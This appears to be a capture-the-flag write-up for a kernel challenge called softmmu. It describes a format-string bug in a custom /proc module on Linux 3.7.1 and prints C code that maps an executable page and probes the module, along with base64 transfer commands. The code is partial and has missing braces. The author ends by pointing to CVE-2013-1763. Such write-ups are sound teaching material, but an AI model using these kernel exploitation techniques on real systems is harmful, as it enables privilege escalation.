Gros - softmmu



If you are good at kernel exploit, try this one :)

We are given a QEMU machine with pretty old kernel and custom module loaded.

[+] Loading x86 PAE MMU emulator
[+] Write the virtual address to /proc/softmmu
[+] You can obtain it's physical address by reading /proc/softmmu
[+] i.e. echo -ne '\x00\x80\x04\x08' > /proc/softmmu; hexdump -C /proc/softmmu
[+] Let the kernel exploit begin :)

$ uname -a
Linux (none) 3.7.1 #1 SMP Mon Dec 23 06:07:19 PST 2013 i686 GNU/Linux
$ ls /*.ko

The module (softmmu.ko) is pretty simple. We may write 4 byte address to a global variable and then printk it. So there is format string vulnerability.

#include "raw_sploit.h"


#define MAX 10000

int _start(int argc, char const *argv[])
    char map[MAX] = {};
    int fd;

    /* mmap in userland */
    unsigned long mmap_start, mmap_size;
    mmap_start = 0xdead000;
    mmap_size = 0x12000;
    char* payload = (char*)mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
    if ((long)payload < 0) {
        write(1, "mmap fault\n", 11);

    char mmaped_hex[16] = {};
    write(1, "payload at 0x", 13);
    dechex((unsigned long)payload, mmaped_hex, 16, 1);
    write(1, mmaped_hex, 8);
    write(1, "\n", 1);

    /* copy argv[1] to the mapped page */
    memcpy(payload, &argv[0], strlen((char*)&argv[0]));

    /* open softmmu and write address of mmaped page */
    fd = open("/proc/softmmu", O_RDWR);
    if(fd == -1) {
        write(1, "open fault\n", 11);

    if (write(fd, (char*)&payload, 4) < 4) {
        write(1, "written less than 4 bytes\n", 26);
    /* output the result */
    read(fd, map, MAX);
    write(1, map, 4);


Note: there is no networking in the remote QEMU, the exploit needs to be copy-pasted:

# local:
gcc  -fno-builtin -static -nostdlib -m32 -o exp exp.c
tar -czvf exp.tar.gz exp
cat exp.tar.gz | base64 -w0

# remote:
cd /tmp && cat > exp.tar.gz.b64
base64 -d exp.tar.gz.b64 > exp.tar.gz && tar -xf ./exp.tar.gz

Because of that raw_sploit.h is used.

Now, I know only one way of exploiting format strings: with %n formatter. Support for this magic conversion specifier was removed in newer kernels, but as it turns out, it works in our 3.7.1 version. Despite of what is written in source code. This comment misleaded me, so I did not even try to exploit the fmt bug. Instead, I have found CVE-2013-1763.